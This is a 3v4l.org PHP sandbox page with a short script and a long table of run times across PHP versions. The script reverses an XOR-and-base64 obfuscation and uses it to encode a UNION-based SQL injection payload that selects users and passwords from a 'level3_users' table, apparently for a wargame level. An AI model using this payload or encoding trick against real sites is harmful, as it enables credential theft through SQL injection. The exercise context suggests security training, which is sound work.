3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT user, password FROM level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01118.68
8.3.50.0100.00722.11
8.3.40.0090.00619.02
8.3.30.0110.00418.89
8.3.20.0030.00518.91
8.3.10.0050.00321.22
8.3.00.0030.00623.66
8.2.180.0000.02116.75
8.2.170.0110.00322.96
8.2.160.0070.00722.43
8.2.150.0080.00024.18
8.2.140.0000.00824.66
8.2.130.0050.00226.16
8.2.120.0000.00721.04
8.2.110.0040.00720.52
8.2.100.0110.00018.03
8.2.90.0040.00419.21
8.2.80.0000.00817.97
8.2.70.0030.00717.88
8.2.60.0040.00417.93
8.2.50.0090.00019.40
8.2.40.0040.00418.34
8.2.30.0080.00021.36
8.2.20.0040.00417.95
8.2.10.0030.00517.93
8.2.00.0030.00617.98
8.1.280.0040.01225.92
8.1.270.0040.00423.99
8.1.260.0110.00726.35
8.1.250.0040.00428.09
8.1.240.0100.00722.54
8.1.230.0090.00320.85
8.1.220.0040.00418.77
8.1.210.0080.00018.97
8.1.200.0030.00617.60
8.1.190.0040.00417.66
8.1.180.0030.00618.10
8.1.170.0030.00618.90
8.1.160.0050.00218.89
8.1.150.0040.00418.74
8.1.140.0000.00717.64
8.1.130.0030.00317.81
8.1.120.0000.00717.56
8.1.110.0080.00017.69
8.1.100.0050.00217.62
8.1.90.0030.00517.68
8.1.80.0070.00017.59
8.1.70.0000.00817.61
8.1.60.0030.00717.80
8.1.50.0040.00417.53
8.1.40.0050.00317.72
8.1.30.0040.00417.78
8.1.20.0000.00817.75
8.1.10.0000.00917.78
8.1.00.0000.00917.70
8.0.300.0040.00420.10
8.0.290.0080.00017.30
8.0.280.0000.00718.41
8.0.270.0020.00517.22
8.0.260.0000.00816.91
8.0.250.0000.00817.15
8.0.240.0000.01017.19
8.0.230.0000.00817.03
8.0.220.0040.00416.96
8.0.210.0000.00717.06
8.0.200.0070.00017.17
8.0.190.0050.00317.10
8.0.180.0040.00417.11
8.0.170.0060.00317.14
8.0.160.0050.00317.14
8.0.150.0040.00416.98
8.0.140.0070.00017.03
8.0.130.0080.00013.48
8.0.120.0080.00016.97
8.0.110.0050.00317.04
8.0.100.0050.00217.01
8.0.90.0000.00717.13
8.0.80.0040.01117.03
8.0.70.0050.00217.03
8.0.60.0000.00716.94
8.0.50.0050.00317.06
8.0.30.0080.01117.36
8.0.20.0090.00917.53
8.0.10.0070.00017.04
8.0.00.0160.00316.99
7.4.330.0000.00515.01
7.4.320.0000.00616.84
7.4.300.0000.00616.84
7.4.290.0000.00716.64
7.4.280.0090.00016.81
7.4.270.0070.00016.84
7.4.260.0030.00313.52
7.4.250.0000.00716.81
7.4.240.0040.00416.85
7.4.230.0070.00016.65
7.4.220.0080.01116.82
7.4.210.0080.00616.86
7.4.200.0020.00516.85
7.4.190.0000.00917.00
7.4.160.0000.01616.82
7.4.150.0070.01017.40
7.4.140.0060.01417.86
7.4.130.0160.00516.82
7.4.120.0130.00416.85
7.4.110.0100.00716.77
7.4.100.0110.00716.65
7.4.90.0100.01316.82
7.4.80.0090.00919.39
7.4.70.0130.01016.82
7.4.60.0060.01116.60
7.4.50.0040.00416.35
7.4.40.0030.00922.77
7.4.30.0110.01116.69
7.4.00.0100.00615.26
7.3.330.0030.00213.61
7.3.320.0000.00513.45
7.3.310.0030.00316.41
7.3.300.0000.00716.55
7.3.290.0070.01116.51
7.3.280.0070.00916.52
7.3.270.0100.00717.40
7.3.260.0110.01118.24
7.3.250.0080.01116.55
7.3.240.0040.01316.89
7.3.230.0120.00816.60
7.3.210.0080.00816.50
7.3.200.0100.00719.39
7.3.190.0060.01016.60
7.3.180.0040.01116.44
7.3.170.0130.00416.46
7.3.160.0120.00316.48
7.3.120.0080.00915.17
7.3.110.0090.00915.21
7.3.100.0000.01615.13
7.3.90.0100.00714.72
7.3.80.0080.00814.79
7.3.70.0060.01014.82
7.3.60.0100.00715.05
7.3.50.0030.00714.97
7.3.40.0060.00915.01
7.3.30.0060.00614.95
7.3.20.0030.01216.99
7.3.10.0030.01416.73
7.3.00.0000.01117.02
7.2.330.0050.01316.75
7.2.320.0140.00916.91
7.2.310.0170.00716.87
7.2.300.0120.00616.96
7.2.290.0100.00716.80
7.2.250.0100.01015.31
7.2.240.0130.00315.27
7.2.230.0090.00615.13
7.2.220.0090.00915.00
7.2.210.0030.01015.35
7.2.200.0060.00915.36
7.2.190.0060.00614.98
7.2.180.0090.00615.32
7.2.170.0000.01615.07
7.2.60.0070.00716.86
7.2.50.0040.00817.08
7.2.00.0060.00619.45
7.1.330.0060.00916.09
7.1.320.0070.00416.01
7.1.310.0120.00415.82
7.1.300.0000.00915.88
7.1.290.0070.00415.75
7.1.280.0090.00315.98
7.1.270.0070.01015.86
7.1.260.0130.00316.00
7.1.200.0060.00315.96
7.1.100.0070.00718.05
7.1.70.0070.00717.50
7.1.60.0110.01119.40
7.1.50.0120.01217.11
7.1.00.0100.05722.46
7.0.200.0050.00817.01
7.0.140.0000.08022.04
7.0.80.0070.08019.91
7.0.70.0100.07719.91
7.0.60.0300.07319.97
7.0.50.0070.07320.23
7.0.40.0000.09020.04
7.0.30.0130.07320.11
7.0.20.0100.04720.10
7.0.10.0100.06720.06
7.0.00.0030.04320.13
5.6.280.0000.07720.89
5.6.230.0070.05020.70
5.6.220.0100.04720.59
5.6.210.0100.08320.57
5.6.200.0070.05021.06
5.6.190.0070.04321.01
5.6.180.0070.04021.07
5.6.170.0130.06020.94
5.6.160.0070.04321.17
5.6.150.0070.05321.14
5.6.140.0030.05721.18
5.6.130.0130.07721.02
5.6.120.0070.04320.95
5.6.110.0030.07721.10
5.6.100.0030.08321.02
5.6.90.0170.06320.93
5.6.80.0030.06020.40
5.6.70.0100.03020.34
5.6.60.0070.05720.31
5.6.50.0030.04320.42
5.6.40.0170.06320.38
5.6.30.0100.05020.44
5.6.20.0030.05720.38
5.6.10.0070.03720.31
5.6.00.0070.04020.48
5.5.370.0170.06720.36
5.5.360.0030.08020.35
5.5.350.0070.07320.47
5.5.340.0130.07720.92
5.5.330.0030.06720.74
5.5.320.0030.05020.88
5.5.310.0130.08020.84
5.5.300.0200.07020.88
5.5.290.0070.05320.65
5.5.280.0030.04320.77
5.5.270.0070.07720.78
5.5.260.0070.06020.86
5.5.250.0100.07320.62
5.5.240.0170.06320.15
5.5.230.0070.03320.18
5.5.220.0100.06320.29
5.5.210.0030.04319.99
5.5.200.0070.06720.11
5.5.190.0070.07720.11
5.5.180.0030.04020.11
5.5.160.0070.06320.20
5.5.150.0030.04020.18
5.5.140.0170.06720.15
5.5.130.0100.04720.24
5.5.120.0170.05020.18
5.5.110.0030.04320.26
5.5.100.0070.06720.11
5.5.90.0100.07320.07
5.5.80.0070.06320.05
5.5.70.0130.08020.09
5.5.60.0070.03720.15
5.5.50.0030.08020.07
5.5.40.0000.04020.16
5.5.30.0030.03719.96
5.5.20.0070.07320.14
5.5.10.0070.07719.98
5.5.00.0030.06720.04
5.4.450.0070.08719.48
5.4.440.0030.09019.45
5.4.430.0130.06719.43
5.4.420.0200.06719.17
5.4.410.0130.07019.40
5.4.400.0070.07018.91
5.4.390.0070.07019.18
5.4.380.0030.06319.04
5.4.370.0000.04019.18
5.4.360.0100.07019.03
5.4.350.0030.04018.88
5.4.340.0130.07019.18
5.4.320.0070.03718.88
5.4.310.0070.07319.21
5.4.300.0100.06719.09
5.4.290.0130.07018.89
5.4.280.0130.05019.13
5.4.270.0100.07019.23
5.4.260.0030.06319.15
5.4.250.0070.07318.89
5.4.240.0030.03719.20
5.4.230.0030.04319.02
5.4.220.0070.07719.12
5.4.210.0030.06719.05
5.4.200.0100.04019.15
5.4.190.0100.07719.04
5.4.180.0070.03019.13
5.4.170.0000.05018.89
5.4.160.0030.04018.88
5.4.150.0000.04019.07
5.4.140.0070.06316.51
5.4.130.0070.03316.49
5.4.120.0070.04716.24
5.4.110.0030.08016.45
5.4.100.0130.04316.47
5.4.90.0130.06016.45
5.4.80.0030.05016.45
5.4.70.0100.04016.54
5.4.60.0030.08316.30
5.4.50.0000.06716.46
5.4.40.0130.05716.46
5.4.30.0000.04016.29
5.4.20.0030.06016.46
5.4.10.0030.04316.46
5.4.00.0070.07716.02
5.3.290.0070.05314.73
5.3.280.0100.06714.66
5.3.270.0100.08014.68
5.3.260.0130.07014.75
5.3.250.0070.07314.63
5.3.240.0100.07314.56
5.3.230.0100.03014.74
5.3.220.0000.04014.69
5.3.210.0000.04014.70
5.3.200.0000.06314.71
5.3.190.0030.07314.62
5.3.180.0070.03314.61
5.3.170.0070.08014.55
5.3.160.0000.05314.59
5.3.150.0000.07014.63
5.3.140.0030.04714.53
5.3.130.0130.06014.58
5.3.120.0000.04714.61
5.3.110.0070.06714.55
5.3.100.0030.07014.06
5.3.90.0030.03714.05
5.3.80.0170.07014.13
5.3.70.0070.06014.05
5.3.60.0070.03714.07
5.3.50.0030.06013.98
5.3.40.0030.04713.98
5.3.30.0100.02713.98
5.3.20.0000.03713.77
5.3.10.0030.03313.57
5.3.00.0070.07013.64
5.2.170.0100.05311.94
5.2.160.0070.02711.94
5.2.150.0000.04711.94
5.2.140.0000.04311.94
5.2.130.0030.03711.94
5.2.120.0030.03011.94
5.2.110.0030.06011.94
5.2.100.0000.04711.94
5.2.90.0030.05711.94
5.2.80.0070.05311.94
5.2.70.0030.05711.94
5.2.60.0000.03011.94
5.2.50.0030.02711.94
5.2.40.0000.03311.94
5.2.30.0000.04011.94
5.2.20.0030.03011.94
5.2.10.0070.06011.94
5.2.00.0030.02711.94
5.1.60.0070.03711.94
5.1.50.0070.04711.94
5.1.40.0030.02311.94
5.1.30.0000.06311.94
5.1.20.0070.03711.94
5.1.10.0000.05711.94
5.1.00.0000.03011.94
5.0.50.0030.04011.94
5.0.40.0000.02011.94
5.0.30.0000.04711.94
5.0.20.0030.01711.94
5.0.10.0000.02311.94
5.0.00.0070.06711.94
4.4.90.0000.01711.94
4.4.80.0030.02011.94
4.4.70.0000.01711.94
4.4.60.0030.03711.94
4.4.50.0030.03711.94
4.4.40.0030.02011.94
4.4.30.0000.01711.94
4.4.20.0000.01711.94
4.4.10.0000.01711.94
4.4.00.0030.03311.94
4.3.110.0030.03011.94
4.3.100.0030.01711.94
4.3.90.0030.01311.94
4.3.80.0000.03011.94
4.3.70.0000.02311.94
4.3.60.0030.01711.94
4.3.50.0000.02311.94
4.3.40.0000.03311.94
4.3.30.0000.01311.94
4.3.20.0000.01711.94
4.3.10.0030.01711.94
4.3.00.0100.02011.94

preferences:
56.46 ms | 401 KiB | 5 Q